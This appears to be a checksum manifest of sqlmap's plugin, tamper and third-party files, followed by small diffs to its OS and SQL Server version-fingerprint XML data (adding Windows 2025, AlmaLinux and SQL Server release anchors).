874532c0a1a09e2c3d6ea5f4b9e12552ce18ae04a8d13a9f8e099071760f4a73 plugins/dbms/presto/filesystem.py
|
||||
acd58559efbce9f94683260c45619286b5bb015ff5dbf39b9e8c9b286f34fbe8 plugins/dbms/presto/fingerprint.py
|
||||
5c104b3ee2e86bf29a8f446d7779470b42d173e87b672c43257289b0d798d2b1 plugins/dbms/presto/__init__.py
|
||||
859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/presto/syntax.py
|
||||
98e28b754352529381b5cffdc701a1c08158d7e7466764310627280d51f744ba plugins/dbms/presto/takeover.py
|
||||
b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/raima/connector.py
|
||||
396e661bf4d75fac974bf1ba0d6dfd0a74d2bd07b7244f06a12d7de14507ebcb plugins/dbms/raima/enumeration.py
|
||||
675e2a858ccd50fe3ee722d372384e060dfd50fe52186aa6308b81616d8cc9ac plugins/dbms/raima/filesystem.py
|
||||
98a014372e7439a71e192a1529decd78c2da7b2341653fc2c13d030a502403d4 plugins/dbms/raima/fingerprint.py
|
||||
3b49758a10ce88c5d8db081cdb4924168c726d1e060e6d09601796fba2a3fbee plugins/dbms/raima/__init__.py
|
||||
1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py
|
||||
5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py
|
||||
5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py
|
||||
99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a plugins/dbms/snowflake/enumeration.py
|
||||
3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py
|
||||
99c62be4ca44f5b059c87516c63919542a087e599895ec6f9bcb1a272df31a61 plugins/dbms/snowflake/fingerprint.py
|
||||
1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py
|
||||
859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py
|
||||
da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py
|
||||
0163ce14bfa49b7485ab430be1fa33366c9f516573a89d89120f812ffdbc0c83 plugins/dbms/spanner/connector.py
|
||||
cb2c802d695d0b3bdc0769a2f767e58351c73a900db2ddb8f89f863bd5546947 plugins/dbms/spanner/enumeration.py
|
||||
672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/spanner/filesystem.py
|
||||
30f4caea09eb300a8b16ff2609960d165d8a7fa0f3034c345fea24002fea2670 plugins/dbms/spanner/fingerprint.py
|
||||
7c46a84ece581b5284ffd604b54bacb38acc87ea7fbac31aae38e20eb4ead31a plugins/dbms/spanner/__init__.py
|
||||
54a184528a74d7e1ff3131cbca2efa86bbf63c2b2623fb9a395bdb5d2db6cf5a plugins/dbms/spanner/syntax.py
|
||||
949add058f3774fbed41a6a724985ac902abe03b0617ec99698e3a29292efa43 plugins/dbms/spanner/takeover.py
|
||||
cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6 plugins/dbms/sqlite/connector.py
|
||||
fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752 plugins/dbms/sqlite/enumeration.py
|
||||
013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355 plugins/dbms/sqlite/filesystem.py
|
||||
5e0551dac910ea2a2310cc3ccbe563b4fbe0b41de6dcca8237b626b96426a16c plugins/dbms/sqlite/fingerprint.py
|
||||
f5b28fe6ff99de3716e7e2cd2304784a4c49b1df7a292381dae0964fb9ef80f3 plugins/dbms/sqlite/__init__.py
|
||||
351a9accf1af8f7d18680b71d9c591afbe2dec8643c774e2a3c67cc56474a409 plugins/dbms/sqlite/syntax.py
|
||||
e56033f9a9a1ef904a6cdbc0d71f02f93e8931a46fe050d465a87e38eb92df67 plugins/dbms/sqlite/takeover.py
|
||||
b801f9ed84dd26532a4719d1bf033dfde38ecaccbdea9e6f5fd6b3395b67430d plugins/dbms/sybase/connector.py
|
||||
397836e1d3cff87627f92633b4852bbbb143ca4306fe99ab577b25b7aa69c9cb plugins/dbms/sybase/enumeration.py
|
||||
73b41e33381cd8b13c21959006ef1c6006540d00d53b3ccb1a7915578b860f23 plugins/dbms/sybase/filesystem.py
|
||||
49ec03fe92dab994ee7f75713144b71df48469dca9eb8f9654d54cdcb227ea2c plugins/dbms/sybase/fingerprint.py
|
||||
0d234ddd3f66b5153feb422fc1d75937b432d96b5e5f8df2301ddcadf6c722b2 plugins/dbms/sybase/__init__.py
|
||||
233543378fb82d77192dca709e4fdc9ccf42815e2c5728818e2070af22208404 plugins/dbms/sybase/syntax.py
|
||||
b10e4cdde151a46c1debba90f483764dc54f9ca2f86a693b9441a47f9ebe416f plugins/dbms/sybase/takeover.py
|
||||
b76fb28d47bf16200d69a63d2db1de305ab7e6cb537346bb4b3d9e6dba651f45 plugins/dbms/vertica/connector.py
|
||||
654f37677bb71400662143dc3c181acd73608b79069cdec4ec1600160094c3b4 plugins/dbms/vertica/enumeration.py
|
||||
672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/vertica/filesystem.py
|
||||
342fd363640ae6b4d27b7075409ddd0ee39118dc8f78005f05d94134690eda88 plugins/dbms/vertica/fingerprint.py
|
||||
21e1bfdbb4853c92d21305d4508eba7f64e8f50483cb02c44ecb9bb8593a7574 plugins/dbms/vertica/__init__.py
|
||||
5192982f6ccf2e04c5fa9d524353655d957ef4b39495c7e22df0028094857930 plugins/dbms/vertica/syntax.py
|
||||
e7e6bc4867a1d663a0f595542cc8a1fc69049cb8653cbe0f61f025ed6aec912c plugins/dbms/vertica/takeover.py
|
||||
d9a8498fd225824053c82d2950b834ca97d52edcc0009904d53170fffb42adf0 plugins/dbms/virtuoso/connector.py
|
||||
4404a3b1af5f0f709f561a308a1770c9e20ca0f5d2c01b8d39ccbc2daccfcdc7 plugins/dbms/virtuoso/enumeration.py
|
||||
54212546fef4ac669fa9799350a94df36b54c4057429c0f46d854377682d7b74 plugins/dbms/virtuoso/filesystem.py
|
||||
5f39d91dce66af09d4361e8af43a0ad0e26c1a807a24f4abed1a85cae339e48d plugins/dbms/virtuoso/fingerprint.py
|
||||
e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/virtuoso/__init__.py
|
||||
859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/virtuoso/syntax.py
|
||||
2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py
|
||||
51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py
|
||||
a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py
|
||||
511680a3f61a4413131356340cae7722b523fc4d050e63646c73d444de1a24d5 plugins/generic/databases.py
|
||||
36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py
|
||||
d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py
|
||||
a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py
|
||||
efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py
|
||||
ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py
|
||||
7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py
|
||||
da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py
|
||||
cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py
|
||||
45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py
|
||||
5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md
|
||||
46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py
|
||||
e0607378f46f7664349552c628f25c4689569c788fd2364eef3075dd2cce127b sqlmapapi.yaml
|
||||
627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf
|
||||
65159b82795604069a2d14ccbd1f66e888a26b05db0401a1ddadb40c665c93dc sqlmap.py
|
||||
eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py
|
||||
a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py
|
||||
cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py
|
||||
0b9ed12565bf000c9daa2317e915f2325ccabee1fa5ed5552c0787733fbccffe tamper/appendnullbyte.py
|
||||
11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py
|
||||
1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13 tamper/between.py
|
||||
6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py
|
||||
f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49 tamper/bluecoat.py
|
||||
69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36 tamper/chardoubleencode.py
|
||||
c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py
|
||||
72c163ff0b4f79bdec07fbea3e75a2eaa8304881d35287eab8f03c25d06e99e0 tamper/charunicodeencode.py
|
||||
249c938290c93df028a2b72762e6683be3ef6ea2bc334dd106af6d1a8048b97b tamper/charunicodeescape.py
|
||||
d0d8f2df2c29d81315a867ecb6baa9ca430e8f98d04f4df3879f2bcd697fac16 tamper/commalesslimit.py
|
||||
1aee4e920b8ffa4a79b2ac9a42e2d7de13434970b3d1e0c6911c26bdd0c7b4e7 tamper/commalessmid.py
|
||||
ff8d05da2c5a123a231671c97ee80bb77b6631d7e5356d836cfe15ef212b73e5 tamper/commentbeforeparentheses.py
|
||||
27f74b1c007713f753e0278bc056b09cd715c364847977962d6a198ecefa14ff tamper/concat2concatws.py
|
||||
4cc9f6d319fbf3b60de4b9a487f9630e95cfef0ebf7749b623526b91510668a5 tamper/decentities.py
|
||||
1d6bcc5ffe235840370cd9738b5e8067f8b24e8c0e2bb629d330a7e5c379328a tamper/dunion.py
|
||||
ab455ab2d7bf89e2d283799841556e2b87c53bd288aca88f2d9f1ea5b9c39cb8 tamper/equaltolike.py
|
||||
c686219f6e1b22be654792ead82c55947c11dc55901db6173fbc9821b6da625d tamper/equaltorlike.py
|
||||
d528e74ae7c9fc0cd45369046d835a8f1e6f9252eeef6d84d9978d7e329ab35f tamper/escapequotes.py
|
||||
0694f202a4f57e0a5c4d5aa72eee121b6f344d4e03692d9e267e2212abed719c tamper/greatest.py
|
||||
89c2606da517d063f5a898a33d5bfd8737eef837552fc1127cea512ab82d0ea5 tamper/halfversionedmorekeywords.py
|
||||
76475815dedf1b56a542abdbad3f50f26f9b402775b6d475ba3b8ce64dede022 tamper/hex2char.py
|
||||
731e7ab9996dbe701d5a4971540c92245d204c11bf00efcb905bb27f3269e97b tamper/hexentities.py
|
||||
7324f520834d6072896df56802dca416ef66c175c339ed498708144bb51d193d tamper/htmlencode.py
|
||||
d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7 tamper/if2case.py
|
||||
55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0 tamper/ifnull2casewhenisnull.py
|
||||
eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c tamper/ifnull2ifisnull.py
|
||||
94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py
|
||||
017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py
|
||||
d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py
|
||||
a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py
|
||||
93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py
|
||||
d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py
|
||||
eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py
|
||||
b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py
|
||||
6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py
|
||||
687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py
|
||||
07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py
|
||||
b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py
|
||||
88393d8062c76e402b811872a335db92b457aeca906835c751274b714def9e7e tamper/percentage.py
|
||||
5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py
|
||||
3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py
|
||||
f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0 tamper/randomcase.py
|
||||
5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382 tamper/randomcomments.py
|
||||
e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py
|
||||
21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py
|
||||
7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py
|
||||
7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87 tamper/space2comment.py
|
||||
68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789 tamper/space2dash.py
|
||||
181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3 tamper/space2hash.py
|
||||
e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5 tamper/space2morecomment.py
|
||||
cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49 tamper/space2morehash.py
|
||||
45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2 tamper/space2mssqlblank.py
|
||||
7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c tamper/space2mssqlhash.py
|
||||
05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24 tamper/space2mysqlblank.py
|
||||
0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58 tamper/space2mysqldash.py
|
||||
ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946 tamper/space2plus.py
|
||||
93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3 tamper/space2randomblank.py
|
||||
477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57 tamper/sp_password.py
|
||||
8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py
|
||||
4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649 tamper/symboliclogical.py
|
||||
dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unionalltounion.py
|
||||
9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py
|
||||
67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py
|
||||
3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py
|
||||
7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512 tamper/versionedkeywords.py
|
||||
0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py
|
||||
ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py
|
||||
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
|
||||
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
|
||||
7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py
|
||||
f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py
|
||||
9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py
|
||||
0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py
|
||||
901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py
|
||||
df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py
|
||||
1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48 thirdparty/chardet/charsetgroupprober.py
|
||||
2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py
|
||||
558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py
|
||||
e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794 thirdparty/chardet/compat.py
|
||||
4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py
|
||||
0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py
|
||||
924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py
|
||||
46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py
|
||||
883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py
|
||||
fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py
|
||||
32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py
|
||||
368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py
|
||||
d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py
|
||||
257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py
|
||||
806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py
|
||||
737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
|
||||
99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940 thirdparty/chardet/__init__.py
|
||||
be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
|
||||
3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
|
||||
c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999 thirdparty/chardet/langbulgarianmodel.py
|
||||
0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60 thirdparty/chardet/langgreekmodel.py
|
||||
02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f thirdparty/chardet/langhebrewmodel.py
|
||||
2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df thirdparty/chardet/langhungarianmodel.py
|
||||
b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487 thirdparty/chardet/langrussianmodel.py
|
||||
6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5 thirdparty/chardet/langthaimodel.py
|
||||
8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a thirdparty/chardet/langturkishmodel.py
|
||||
4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
|
||||
011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
|
||||
87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
|
||||
498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
|
||||
9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304 thirdparty/chardet/sbcharsetprober.py
|
||||
86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557 thirdparty/chardet/sbcsgroupprober.py
|
||||
208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
|
||||
0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab thirdparty/chardet/universaldetector.py
|
||||
21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
|
||||
0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f thirdparty/chardet/version.py
|
||||
1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
|
||||
4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34 thirdparty/colorama/ansi.py
|
||||
d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c thirdparty/colorama/ansitowin32.py
|
||||
fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5 thirdparty/colorama/initialise.py
|
||||
c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf thirdparty/colorama/__init__.py
|
||||
61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b thirdparty/colorama/win32.py
|
||||
5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775 thirdparty/colorama/winterm.py
|
||||
4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
|
||||
6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
|
||||
dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
|
||||
e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py
|
||||
edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
|
||||
d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
|
||||
879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py
|
||||
ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998 thirdparty/keepalive/keepalive.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
|
||||
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
||||
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
||||
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
|
||||
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
|
||||
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
||||
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
||||
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
|
||||
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
|
||||
c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
|
||||
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
|
||||
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
|
||||
ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py
|
||||
def1d902bf9528b2b769e603683e45c9691bd5f60968a806de6ab8c08c3f51fe plugins/dbms/hana/__init__.py
|
||||
6d95111e148c2f2f8f41167e85fc83a19a16aa0320e2d0d23c78025181480537 plugins/dbms/hana/connector.py
|
||||
de1312a5febbbe2676344c61c454652b6689103a3c41c3624acca795ad9ce882 plugins/dbms/hana/enumeration.py
|
||||
9a955691b626aad6b7d571a6857a3c16759856d3939c1d92ef3864b437744780 plugins/dbms/hana/filesystem.py
|
||||
41d741679664e5fad09bfcf640f0c8db16ed46238b795e20633dce6f95f6a755 plugins/dbms/hana/fingerprint.py
|
||||
4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/hana/syntax.py
|
||||
ea3eda65047c9c20961b02fdd67c0bb922c83230d34dc052eb143a75d36719c9 plugins/dbms/hana/takeover.py
|
||||
@@ -34,7 +34,7 @@
|
||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||
|
||||
<regexp value="Windows.*\b10\.0">
|
||||
<info type="Windows" distrib="2016|2019|2022|10|11"/>
|
||||
<info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Windows.*\b6\.3">
|
||||
@@ -179,6 +179,10 @@
|
||||
<info type="Linux" distrib="Rocky"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="AlmaLinux">
|
||||
<info type="Linux" distrib="Alma"/>
|
||||
</regexp>
|
||||
|
||||
<!-- BSD -->
|
||||
|
||||
<regexp value="FreeBSD">
|
||||
|
||||
@@ -1,5 +1,195 @@
|
||||
<?xml version="1.0" ?>
|
||||
<!--
|
||||
Release/Service Pack anchors for SQL Server 2012-2022.
|
||||
Each release leads with a coarse "major.minor" signature (matches any patch
|
||||
level, so the product year is always resolved) followed by exact RTM/SP base
|
||||
builds (last match wins, so the specific entry overrides the coarse fallback
|
||||
and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
|
||||
Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
|
||||
-->
|
||||
<root>
|
